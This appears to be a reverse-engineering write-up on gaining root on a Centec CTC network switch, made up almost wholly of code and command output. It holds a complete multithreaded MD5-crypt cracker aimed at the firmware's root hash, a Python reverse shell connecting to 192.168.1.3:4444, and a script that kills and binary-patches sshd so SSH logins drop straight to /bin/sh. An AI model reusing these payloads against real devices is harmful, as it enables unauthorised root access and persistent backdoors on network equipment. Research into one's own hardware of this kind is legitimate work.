Reverse Engineering a Centec CTC Switch: From Firmware to Root Shell

nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ ls -lah
total 72K
drwxr-xr-x 18 nanami114 nanami114 4.0K Aug 15 21:47 .
drwxr-xr-x  3 nanami114 nanami114 4.0K Aug 15 21:42 ..
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 bin
lrwxrwxrwx  1 nanami114 nanami114    9 Aug 15 21:42 boot -> /dev/null
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 centec_switch
lrwxrwxrwx  1 nanami114 nanami114    9 Aug 15 21:42 conf -> /dev/null
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 data
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 dev
drwxr-xr-x  9 nanami114 nanami114 4.0K Aug 15 21:42 etc
lrwxrwxrwx  1 nanami114 nanami114    9 Aug 15 21:42 init -> /dev/null
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 lib
drwxr-xr-x  4 nanami114 nanami114 4.0K Aug 15 21:42 mnt
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 proc
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 root
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 sbin
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 sys
drwxrwxrwx  2 nanami114 nanami114 4.0K Aug 15 21:42 tftpboot
drwxr-xr-x  4 nanami114 nanami114 4.0K Aug 15 21:42 tmp
drwxr-xr-x  7 nanami114 nanami114 4.0K Aug 15 21:42 usr
drwxr-xr-x  8 nanami114 nanami114 4.0K Aug 15 21:42 var

/* md5crack.c — parallel MD5-crypt ($1$) cracker for the switch firmware.
 * Usage: md5crack [dictfile]
 * Target: root:$1$ZrdxfwMZ$1xAj.S6emtA7gWD7iwmmm/
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include <omp.h>

/* ---------- minimal incremental MD5 ---------- */
typedef struct {
    uint32_t state[4];
    uint64_t total;
    size_t   buflen;
    uint8_t  buffer[64];
} MD5_CTX;

static const uint32_t K[64] = {
0xd76aa478,0xe8c7b756,0x242070db,0xc1bdceee,0xf57c0faf,0x4787c62a,0xa8304613,0xfd469501,
0x698098d8,0x8b44f7af,0xffff5bb1,0x895cd7be,0x6b901122,0xfd987193,0xa679438e,0x49b40821,
0xf61e2562,0xc040b340,0x265e5a51,0xe9b6c7aa,0xd62f105d,0x02441453,0xd8a1e681,0xe7d3fbc8,
0x21e1cde6,0xc33707d6,0xf4d50d87,0x455a14ed,0xa9e3e905,0xfcefa3f8,0x676f02d9,0x8d2a4c8a,
0xfffa3942,0x8771f681,0x6d9d6122,0xfde5380c,0xa4beea44,0x4bdecfa9,0xf6bb4b60,0xbebfbc70,
0x289b7ec6,0xeaa127fa,0xd4ef3085,0x04881d05,0xd9d4d039,0xe6db99e5,0x1fa27cf8,0xc4ac5665,
0xf4292244,0x432aff97,0xab9423a7,0xfc93a039,0x655b59c3,0x8f0ccc92,0xffeff47d,0x85845dd1,
0x6fa87e4f,0xfe2ce6e0,0xa3014314,0x4e0811a1,0xf7537e82,0xbd3af235,0x2ad7d2bb,0xeb86d391};
static const int S[64] = {
7,12,17,22,7,12,17,22,7,12,17,22,7,12,17,22,
5,9,14,20,5,9,14,20,5,9,14,20,5,9,14,20,
4,11,16,23,4,11,16,23,4,11,16,23,4,11,16,23,
6,10,15,21,6,10,15,21,6,10,15,21,6,10,15,21};

static inline uint32_t rotl(uint32_t x,int c){ return (x<<c)|(x>>(32-c)); }

static void md5_compress(MD5_CTX *c){
    uint32_t a=c->state[0],b=c->state[1],cc=c->state[2],d=c->state[3];
    const uint32_t *m=(const uint32_t*)(void*)c->buffer;  /* little-endian host */
    for(int i=0;i<64;i++){
        uint32_t f; int g;
        if(i<16){ f=(b&cc)|(~b&d); g=i; }
        else if(i<32){ f=(d&b)|(~d&cc); g=(5*i+1)&15; }
        else if(i<48){ f=b^cc^d; g=(3*i+5)&15; }
        else { f=cc^(b|~d); g=(7*i)&15; }
        uint32_t tmp=d;
        d=cc; cc=b;
        b+=rotl(a+f+K[i]+m[g],S[i]);
        a=tmp;
    }
    c->state[0]+=a; c->state[1]+=b; c->state[2]+=cc; c->state[3]+=d;
}

static void md5_init(MD5_CTX *c){
    c->state[0]=0x67452301; c->state[1]=0xefcdab89;
    c->state[2]=0x98badcfe; c->state[3]=0x10325476;
    c->total=0; c->buflen=0;
}
static void md5_update(MD5_CTX *c,const void *data,size_t len){
    const uint8_t *p=(const uint8_t*)data;
    c->total+=len;
    if(c->buflen){
        size_t need=64-c->buflen;
        size_t take=len<need?len:need;
        memcpy(c->buffer+c->buflen,p,take);
        c->buflen+=take; p+=take; len-=take;
        if(c->buflen==64){ md5_compress(c); c->buflen=0; }
    }
    while(len>=64){
        memcpy(c->buffer,p,64);
        md5_compress(c);
        p+=64; len-=64;
    }
    if(len){ memcpy(c->buffer+c->buflen,p,len); c->buflen+=len; }
}
static void md5_final(MD5_CTX *c,uint8_t out[16]){
    uint64_t bits=c->total*8;
    md5_update(c,"\x80",1);
    while((c->buflen&63)!=56) md5_update(c,"\x00",1);
    uint8_t lenb[8];
    for(int i=0;i<8;i++) lenb[i]=(uint8_t)(bits>>(8*i));
    md5_update(c,lenb,8);
    if(c->buflen) md5_compress(c);
    for(int i=0;i<4;i++){
        uint32_t v=c->state[i];
        out[i*4]=(uint8_t)v; out[i*4+1]=(uint8_t)(v>>8);
        out[i*4+2]=(uint8_t)(v>>16); out[i*4+3]=(uint8_t)(v>>24);
    }
}

/* ---------- MD5-crypt ---------- */
static void md5crypt(const char *pw,size_t pwlen,const char *salt,size_t slen,uint8_t final[16]){
    MD5_CTX ctx,ctx2;
    uint8_t d[16];
    md5_init(&ctx);
    md5_update(&ctx,pw,pwlen);
    md5_update(&ctx,"$1$",3);
    md5_update(&ctx,salt,slen);
    md5_init(&ctx2);
    md5_update(&ctx2,pw,pwlen);
    md5_update(&ctx2,salt,slen);
    md5_update(&ctx2,pw,pwlen);
    md5_final(&ctx2,d);
    for(size_t i=0;i<pwlen;i++) md5_update(&ctx,d+(i&15),1);
    size_t i=pwlen;
    while(i){
        if(i&1) md5_update(&ctx,"\x00",1);
        else    md5_update(&ctx,pw,1);
        i>>=1;
    }
    md5_final(&ctx,final);
    for(int it=0;it<1000;it++){
        md5_init(&ctx2);
        if(it&1) md5_update(&ctx2,pw,pwlen); else md5_update(&ctx2,final,16);
        if(it%3) md5_update(&ctx2,salt,slen);
        if(it%7) md5_update(&ctx2,pw,pwlen);
        if(it&1) md5_update(&ctx2,final,16); else md5_update(&ctx2,pw,pwlen);
        md5_final(&ctx2,final);
    }
}

static const char ITOA64[]="./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
static void to64(uint32_t v,int n,char *out){
    for(int i=0;i<n;i++){ out[i]=ITOA64[v&0x3f]; v>>=6; }
}
static void encode_final(const uint8_t final[16],char out[23]){
    to64(((uint32_t)final[0]<<16)|((uint32_t)final[6]<<8)|final[12],4,out+0);
    to64(((uint32_t)final[1]<<16)|((uint32_t)final[7]<<8)|final[13],4,out+4);
    to64(((uint32_t)final[2]<<16)|((uint32_t)final[8]<<8)|final[14],4,out+8);
    to64(((uint32_t)final[3]<<16)|((uint32_t)final[9]<<8)|final[15],4,out+12);
    to64(((uint32_t)final[4]<<16)|((uint32_t)final[10]<<8)|final[5],4,out+16);
    to64(final[11],2,out+20);
    out[22]=0;
}

static const char TARGET[]="1xAj.S6emtA7gWD7iwmmm/";
static const char SALT[]="ZrdxfwMZ";

static volatile int FOUND=0;

static void test_pw(const char *pw,size_t len,const char *ctxlabel){
    if(FOUND) return;
    uint8_t final[16]; char b64[23];
    md5crypt(pw,len,SALT,strlen(SALT),final);
    encode_final(final,b64);
    if(!strcmp(b64,TARGET)){
        #pragma omp critical
        {
            if(!FOUND){
                FOUND=1;
                printf("[+] CRACKED root: %.*s   (%s)\n",(int)len,pw,ctxlabel);
                fflush(stdout);
            }
        }
    }
}

/* index->candidate generator */
static void gen_comb(char *buf,const char *charset,int len,uint64_t idx){
    int clen=(int)strlen(charset);
    for(int i=len-1;i>=0;i--){ buf[i]=charset[idx%clen]; idx/=clen; }
    buf[len]=0;
}

static void run_masks(void){
    /* digits 1..8 */
    for(int len=1;len<=8 && !FOUND;len++){
        uint64_t n=1; for(int k=0;k<len;k++) n*=10;
        char buf[64];
        #pragma omp parallel for schedule(static,10000)
        for(uint64_t idx=0;idx<n;idx++){
            if(FOUND) continue;
            gen_comb(buf,"0123456789",len,idx);
            test_pw(buf,len,"digits");
        }
        fprintf(stderr,"[*] digits len %d done (%llu)\n",len,(unsigned long long)n);
    }
    /* lowercase 1..5 */
    for(int len=1;len<=5 && !FOUND;len++){
        uint64_t n=1; for(int k=0;k<len;k++) n*=26;
        char buf[64];
        #pragma omp parallel for schedule(static,10000)
        for(uint64_t idx=0;idx<n;idx++){
            if(FOUND) continue;
            gen_comb(buf,"abcdefghijklmnopqrstuvwxyz",len,idx);
            test_pw(buf,len,"lower");
        }
        fprintf(stderr,"[*] lower len %d done\n",len);
    }
    /* lowercase+digits 1..4 */
    for(int len=1;len<=4 && !FOUND;len++){
        uint64_t n=1; for(int k=0;k<len;k++) n*=36;
        char buf[64];
        #pragma omp parallel for schedule(static,10000)
        for(uint64_t idx=0;idx<n;idx++){
            if(FOUND) continue;
            gen_comb(buf,"0123456789abcdefghijklmnopqrstuvwxyz",len,idx);
            test_pw(buf,len,"lower+digit");
        }
        fprintf(stderr,"[*] lower+digit len %d done\n",len);
    }
    /* uppercase+digits 1..5 (short caps) */
    for(int len=1;len<=5 && !FOUND;len++){
        uint64_t n=1; for(int k=0;k<len;k++) n*=36;
        char buf[64];
        #pragma omp parallel for schedule(static,10000)
        for(uint64_t idx=0;idx<n;idx++){
            if(FOUND) continue;
            gen_comb(buf,"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ",len,idx);
            test_pw(buf,len,"upper+digit");
        }
        fprintf(stderr,"[*] upper+digit len %d done\n",len);
    }
}

static void run_dictfile(const char *path){
    FILE *f=fopen(path,"rb");
    if(!f){ perror("fopen"); exit(1); }
    fseek(f,0,SEEK_END); long sz=ftell(f); fseek(f,0,SEEK_SET);
    char *data=malloc(sz+1);
    size_t rd=fread(data,1,sz,f); fclose(f); data[rd]=0;
    /* build line index */
    size_t *idx=malloc(sizeof(size_t)*(rd+1));
    size_t n=0; idx[n++]=0;
    for(size_t i=0;i<rd;i++) if(data[i]=='\n') idx[n++]=i+1;
    char **lines=malloc(sizeof(char*)*n);
    size_t *lens=malloc(sizeof(size_t)*n);
    long cnt=0;
    for(size_t i=0;i+1<n;i++){
        char *s=data+idx[i]; char *e=data+idx[i+1];
        while(e>s && (e[-1]=='\n'||e[-1]=='\r')) e--;
        if(e==s){ lines[cnt]=NULL; lens[cnt]=0; cnt++; continue; }
        *e=0; lines[cnt]=s; lens[cnt]=(size_t)(e-s); cnt++;
    }
    fprintf(stderr,"[*] dict '%s': %ld candidates\n",path,cnt);
    #pragma omp parallel for schedule(dynamic,1000)
    for(long i=0;i<cnt;i++){
        if(FOUND) continue;
        if(lines[i]) test_pw(lines[i],lens[i],"dictionary");
    }
}

int main(int argc,char **argv){
    if(argc>1 && !strcmp(argv[1],"--selftest")){
        /* openssl: openssl passwd -1 -salt ZrdxfwMZ root -> $1$ZrdxfwMZ$jCuG4i9D8aN4xLTQdbPr4. */
        uint8_t f[16]; char b64[23];
        md5crypt("root",4,"ZrdxfwMZ",8,f);
        encode_final(f,b64);
        printf("selftest: %s %s\n", b64,
               strcmp(b64,"jCuG4i9D8aN4xLTQdbPr4.")==0?"OK":"FAIL");
        return 0;
    }
    fprintf(stderr,"[*] md5crack: target root salt=%s b64=%s threads=%d\n",
            SALT,TARGET,omp_get_max_threads());
    if(argc>1) run_dictfile(argv[1]);
    run_masks();
    if(FOUND) fprintf(stderr,"[*] root password FOUND\n");
    else      fprintf(stderr,"[-] no match in current candidate set\n");
    return FOUND?0:1;
}

nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ objdump -T usr/sbin/sshd | grep -iE "password|authen|bmcli|cli_install"
0000000000000000      DF *UND*  0000000000000000              bmcli_start
0000000000000000      DF *UND*  0000000000000000              authen_client_new
0000000000000000      DF *UND*  0000000000000000              authen_client_start
0000000000000000      DF *UND*  0000000000000000              authen_client_free
0000000000000000      DF *UND*  0000000000000000              cli_install_gen
0000000000000000      DF *UND*  0000000000000000              host_password_check                            # 来自 libzos.so
0000000000000000      DF *UND*  0000000000000000              cli_install_config
0000000000000000      DF *UND*  0000000000000000              authen_api_msg_authen_request_send
0000000000000000      DF *UND*  0000000000000000              check_password

CTC_CLI(ctc-sdk)#  ?
  sdk             SDK mode
  debug           Debug mode
  internal        Internal Debug mode
  app             App mode
  cmodel          Cmodel mode
  dkits           Dkits mode
  stress          Stress mode
  show            Show
  clear           Clear
  acl             ACL module
  aging           Aging module
  aps             Aps Module
  boot            boot command
  bpe             bpe module
  cd              Common cmd
  check           Check table or register
  chip            Chip module
  ctune           ctune
  delay           delay time
  diag            Diag module
  diff            Common cmd
  dma             dma
  dot1ae          Dot1AE
  efd             EFD module
  end             End current mode and change to EXEC mode
  enter           Enter
  exit            Exit current mode and down to previous mode
  fcoe            FCOE module
  for             For cmd
  ftm             Memory Allocation module
  interrupt       Interrupt module
  ipfix           IPFIX module
  ipmc            IPMC module
  ipuc            IPUC module
  l2              Layer 2 module
  l3if            L3 interface module
  lb-hash         Load banlance hash
  learning        Learning module
  linkagg         Linkagg module
  list            List tables
  local-mep       Local MEP
  ls              Common cmd
  memory          Memory manger
  mip             MIP
  mirror          Mirror module
  monitor         Monitor Module
  mpls            Multi-Protocol Label Switching (MPLS)
  nexthop         Nexthop module
  no              Negate a command or set its defaults
  npm             NPM Module
  oam             OAM module
  ofb             ofb
  overlay-tunnel  overlay tunnel module, used to terminate an overlay tunnel
  packet          Packet module
  parser          Parser module
  pdu             Pdu module
  port            Port module
  ptp             PTP module
  pwd             Common cmd
  qos             QoS module
  quit            Exit current mode and down to previous mode
  read            Read table or register
  remote-mep      Remote MEP
  rm              delete file
  route           Route
  scl             SCL module
  security        Security module
  source          Common cmd
  stacking        Stacking
  stats           Statistics
  stp             Spanning Tree Protocol (STP)
  sync-ether      SyncE module
  system          System attribution
  tclsh           Common cmd
  tftp            tftp transmit
  trill           TRILL module
  vi              Common cmd
  vlan            VLAN module
  warmboot        Warmboot module
  wlan            WLAN module
  write           Write table or register

import socket,subprocess,os,sys
if os.fork() > 0: sys.exit(0)          # 第一次 fork，父进程退出 → 命令替换立即完成
os.setsid()
if os.fork() > 0: sys.exit(0)          # 二次 fork 彻底脱离
devnull = os.open("/dev/null", os.O_RDWR)
os.dup2(devnull,0); os.dup2(devnull,1); os.dup2(devnull,2)   # 关掉替换管道 → 不阻塞
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.3", 4444))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])

import os, sys, time
if os.fork() > 0: sys.exit(0)      # daemonize
os.setsid()
if os.fork() > 0: sys.exit(0)
os.dup2(os.open("/dev/null", os.O_RDWR), 0)
os.dup2(os.open("/dev/null", os.O_RDWR), 1)
os.dup2(os.open("/dev/null", os.O_RDWR), 2)
time.sleep(2)                        # 等注入/SSH 会话先结束

open("/tmp/ws", "w").write("#!/bin/sh\nexec /bin/sh\n")   # 建 wrapper
os.chmod("/tmp/ws", 0o755)

os.system("killall sshd 2>/dev/null")  # 先杀 sshd 才能写二进制
time.sleep(1)

NEW = "/tmp/ws" + "\x00" * 7           # 14 字节，与原字符串等长
for attempt in range(6):
    try:
        data = open("/usr/sbin/sshd", "rb").read()
        data = data.replace("/usr/bin/imish", NEW)          # 覆盖原始字符串
        data = data.replace("/bin/sh\x00\x00\x00\x00\x00\x00\x00", NEW)  # 覆盖上次的 /bin/sh
        open("/usr/sbin/sshd", "wb").write(data)
        break
    except IOError:                    # ETXTBSY 重试
        os.system("killall sshd 2>/dev/null"); time.sleep(1)

open("/mnt/flash/PY4.flag", "w").write("ok imish=%d\n" %
    open("/usr/sbin/sshd","rb").read().count("/usr/bin/imish"))
os.system("nohup /usr/sbin/sshd -6 >/dev/null 2>&1 &")     # 重启 sshd（原启动参数是 -6）

Switch# show ver
Switch Software, S5048, Version 3.0.15.7
Copyright (C) Switch.  All Rights Reserved.
The current running image is flash:/boot/uImage_v3.0.15.7.bin

Switch uptime is 0 days, 5 hours, 56 minutes
Hardware Type is 4X2Q-CL
Hardware Version is 4.1
SDRAM size 1024M
Flash size 8192M
BootRom Version is v1.0.8
System serial number is ***
Current Web Version is 3.0.17